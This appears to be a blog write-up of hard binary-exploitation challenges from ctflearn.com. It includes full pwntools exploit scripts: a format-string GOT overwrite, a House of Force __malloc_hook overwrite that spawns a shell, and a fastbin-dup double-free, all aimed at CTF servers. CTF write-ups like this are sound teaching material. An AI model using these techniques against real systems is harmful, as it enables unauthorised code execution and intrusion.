team-logo
Published on

ctflearn.com - Binary hard challenges

Authors

Introduction

On ctflearn, I only have the hard PWN tasks left to do. I thought there would be some heap stuff, which I haven't dealt with much, but it was an opportunity to train on it. The tasks are often from 2022, so they might be outdated in terms of new libc. However, it's good to know this because sometimes CTF tasks have older libc. I can compare the Hard tasks on ctflearn to medium on HTB, but some were great. If you don't want to spoil the fun for yourself, reach for solutions only as a last resort. The tasks are available on ctflearn.com, but I'll also upload them to GitHub so they don't disappear. Unfortunately, it happens sometimes. As usual, Rivit and thekidofarcrania didn't disappoint. Have fun.

Libraries

Libraries Unfortunately this challenge no longer works — you cannot connect via SSH. Fortunately, a writeup is available here.

Redirected

Redirected

It took me a while to solve this challenge; I tried several approaches. The remaining idea sounded unlikely: overwrite printf itself to trigger the format-string behavior. Fortunately, pwntools’ fmtstr_payload can perform two writes in a single payload, and there was enough free buffer space to make it work. I didn’t even have to return to main — everything was done in one pass.

Solution:

solution.py
from pwn import *             

context.log_level = 'warning' 
context.update(arch='x86_64', os='linux') 
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']

HOST="nc rivit.dev 10018"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

system_plt=binary.plt.system
puts_got=binary.got.puts
ask_user=binary.sym.ask_user
printf_got=binary.got.printf

payload1 = fmtstr_payload(6, {
        printf_got:system_plt,
        puts_got:ask_user
 })

warn (f"size: {len(payload1)}")
p.sendlineafter(b'Input your message:',payload1)

p.interactive()

Blackbox

Blackbox Unfortunately this challenge no longer works either. The solution looks simple.

Solution

python -c "print '11111111111111111111111111111111111111111111111111111111111111111111111111111111\x02\x00\x00\x00'" | ./blackbox

Test Event Challenge 1

Test Event Challenge 1 Let's not dwell on it — a free flag.

House

House The task title suggests it will be related to some House technique. We received the binary, source code, and libc 2.28 library without tcache. Quickly uploading the binary to ChatGPT told me more. Of course, Chat generated code I didn't ask for. There were many errors in the code. However, it guessed correctly: this is House of Force. It works on binaries with libc less than 2.29. I had heard that House of Force is a simple technique, but I hadn't applied it. I had the opportunity to verify if that's true. The first problem with this binary in pwngdb was that the vis and heap commands didn't work (arena worked). ChatGPT said it could be fixed somehow by searching for the _mp string and setting heap options. After an hour of trials and errors, I gave up. It can be solved without that too; I just used the telescope option. And how did I solve the task? Was it enough to put the maximum value on top of the stack, calculate the address of __malloc_hook, and put some gadget there? I almost guessed, but not with a gadget. Here the trick was subtler, but you'll see it in the code.

Solution

solution.py
from pwn import *

context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']

HOST = "nc rivit.dev 10006"
ADDRESS, PORT = HOST.split()[1:]

BINARY_NAME = "./task"
LIBC_PATH = "./libc-2.28-no-tcache.so"

libc = ELF(LIBC_PATH, checksec=False)
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS, PORT)
else:
    p = process(binary.path)

# ==================== TEMPLATE FUNCTIONS ====================

def malloc(size, content):
    """Add a new note with custom size and content."""    
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Data: ", content)
    warn(f"[+] Note added (size: {size})")

# ==================== MAIN EXPLOIT FUNCTION ====================
# Step 1: Leak addresses from the program's output
# Read the leaked puts address
p.recvuntil(b"puts @ ")
puts_leak = int(p.recvline().strip(), 16)

# Read the leaked heap base address (note: this is p-0x10 from the program's print)
p.recvuntil(b"heap @ ")
heap_chunk = int(p.recvline().strip(), 16)

# Log the leaked puts address
log.info(f"puts @ {hex(puts_leak)}")

# Calculate the libc base address using the puts leak
libc_base = puts_leak - libc.symbols['puts']
log.info(f"libc base = {hex(libc_base)}")

# Calculate the address of __malloc_hook and system function in libc
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
log.info(f"__malloc_hook = {hex(malloc_hook)}")
log.info(f"system = {hex(system)}")

# Find the address of the '/bin/sh' string in libc
binsh = next(libc.search(b'/bin/sh'))
binsh_addr = libc_base + binsh
log.info(f"/bin/sh = {hex(binsh_addr)}")

# Calculate the top chunk address on the heap
top_addr = heap_chunk + 0x118
log.info(f"top chunk @ {hex(top_addr)}")

# Step 2: Perform House of Force technique
# Allocate a chunk to set the top chunk size to a very large value (0xfffffffffffffff1)
# This allows us to allocate arbitrarily large chunks
malloc(0x100, 0x108*b'b' + p64(0xfffffffffffffff1))

# Calculate the size needed to allocate a chunk that reaches __malloc_hook
size_2_allocate = malloc_hook - top_addr - 0x10

# Allocate a chunk to position the next allocation at __malloc_hook
malloc(size_2_allocate, p64(0))

# Allocate another chunk and overwrite __malloc_hook with the address of system
malloc(0x100, p64(system))

# Step 3: Trigger the exploit
# The trick: When allocating the next chunk, provide the size as the address of '/bin/sh'
# This will be passed as the first argument (RDI) to system, allowing system('/bin/sh')
p.sendlineafter(b'Size: ', str(binsh_addr).encode())

p.interactive()

Cryptoversing

Cryptoversing This is more of a reverse engineering task than a pwn one, but okay.

Solution

solution.py
cipher=bytes.fromhex('685f624f7d4563444f522b47297568286a6c2c764c')
wynik = []
for idx, i in enumerate(cipher):
    if idx < len(cipher) // 2:
        wynik.append(chr(i ^ 0x10))
    else:
        wynik.append(chr(i ^ 0x18))

print ("".join(wynik))

Slow bin

Cryptoversing Next task from Rivit where I had to deal with heap. The title slowbin refers to the fastbin dup technique. Here we already got the binary, libc 2.30 without tcache, and the source code. Unfortunately, vis in pwngdb didn't want to work for me either, so I had to learn more about heap, which turned out to be good for me overall. To understand fastbin dup, I wrote my own program where I used libc 2.30 and learned how it works step by step. I learned incidentally that the next allocation must contain a correct fd entry. Without that, nothing works. I spent some time on it, but it wasn't wasted time. Once I learned what was needed, I tackled the slowbin binary. To get the flag, I had to overwrite the appropriate memory fragment 1337. This fragment was right after user. So I had to do fastbin dup, but besides the usual malloc, malloc, delete(0), delete(1), delete(0), I had to do something else to allocate the chunk properly. The trick was that by providing the username, make the appropriate fd entry. It took me some time until I did everything correctly. And this is probably just the beginning of the heap adventure (brrrrrr)

Solution

solution.py
from pwn import *

context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']

HOST = "nc rivit.dev 10014"
ADDRESS, PORT = HOST.split()[1:]
BINARY_NAME = "./task"

binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS, PORT)
else:
    p = process(binary.path)


# ==================== TEMPLATE FUNCTIONS ====================

def add_note(size, content=b"A"*8):
    """Add a new note with custom size and content."""
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Data: ", content)
    warn(f"[+] Note added (size: {size})")

def remove_note(index):
    """Remove a note at the specified index."""
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Index: ", str(index).encode())
    warn(f"[+] Note {index} removed")


# ==================== MAIN EXPLOIT FUNCTION ====================
#This is important
p.sendlineafter(b'Username',p64(0)+p64(0x81)+p64(0)*2) 

size = 0x78
user = binary.symbols['user']    # adres struct User (user.username) #0x2040e0
#hexdump 0x2040e0 (user)

# alloc A,B
add_note(size, b'A'*size)   # idx0
add_note(size, b'B'*size)   # idx1

# double-free A,B,A
remove_note(0)
remove_note(1)
remove_note(0)

add_note(size, p64(user))  # idx2, writes fd=TARGET

add_note(size, b'C'*size)    
add_note(size, b'D'*size)     

add_note(size, 16*b'E'+p64(0x1337))   #write data for user+0x1337

p.sendlineafter(b'>',b'3')
p.interactive()

Bonus

Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/portals/ctflearn/pwn-hard